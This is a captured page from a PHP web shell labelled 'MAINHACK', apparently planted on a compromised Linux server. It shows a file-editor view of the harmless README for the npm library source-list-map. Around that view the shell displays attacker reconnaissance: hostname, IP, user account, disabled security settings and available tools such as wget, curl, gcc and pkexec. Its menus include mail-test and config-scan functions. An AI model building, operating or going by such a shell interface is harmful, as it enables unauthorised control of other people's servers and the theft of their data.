[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: README.md
# source-list-map ## API ### Example ``` js var SourceListMap = require("source-list-map").SourceListMap; // Create a new map var map = new SourceListMap(); // Add generated code that is map line to line to some soure map.add("Generated\ncode1\n", "source-code.js", "Orginal\nsource"); // Add generated code that isn't mapped map.add("Generated\ncode2\n"); // Get SourceMap and generated source map.toStringWithSourceMap({ file: "generated-code.js" }); // { // source: 'Generated\ncode1\nGenerated\ncode2\n', // map: { // version: 3, // file: 'generated-code.js', // sources: [ 'source-code.js' ], // sourcesContent: [ 'Orginal\nsource' ], // mappings: 'AAAA;AACA;;;' // } // } // Convert existing SourceMap into SourceListMap // (Only the first mapping per line is preserved) var fromStringWithSourceMap = require("source-list-map").fromStringWithSourceMap; var map = fromStringWithSourceMap("Generated\ncode", { version: 3, ... }); ``` ### `new SourceListMap()` ### `SourceListMap.prototype.add` ``` js SourceListMap.prototype.add(generatedCode: string) SourceListMap.prototype.add(generatedCode: string, source: string, originalSource: string) SourceListMap.prototype.add(sourceListMap: SourceListMap) ``` Append some stuff. ### `SourceListMap.prototype.prepend` ``` js SourceListMap.prototype.prepend(generatedCode: string) SourceListMap.prototype.prepend(generatedCode: string, source: string, originalSource: string) SourceListMap.prototype.prepend(sourceListMap: SourceListMap) ``` Prepend some stuff. ### `SourceListMap.prototype.toString()` Get generated code. ### `SourceListMap.prototype.toStringWithSourceMap` ``` js SourceListMap.prototype.toStringWithSourceMap(options: object) ``` Get generated code and SourceMap. `options` can contains `file` property which defines the `file` property of the SourceMap. ### `SourceListMap.prototype.mapGeneratedCode` ``` js SourceListMap.prototype.mapGeneratedCode(fn: function) : SourceListMap ``` Applies `fn` to each generated code block (per line). The returned value is set as new generated code. Returns a new SourceListMap. Removing and adding lines is supported. The SourceMap complexity will increase when doing this. ## Test [](https://travis-ci.org/webpack/source-list-map) ## License Copyright (c) 2017 JS Foundation MIT (http://www.opensource.org/licenses/mit-license.php)
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.56 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002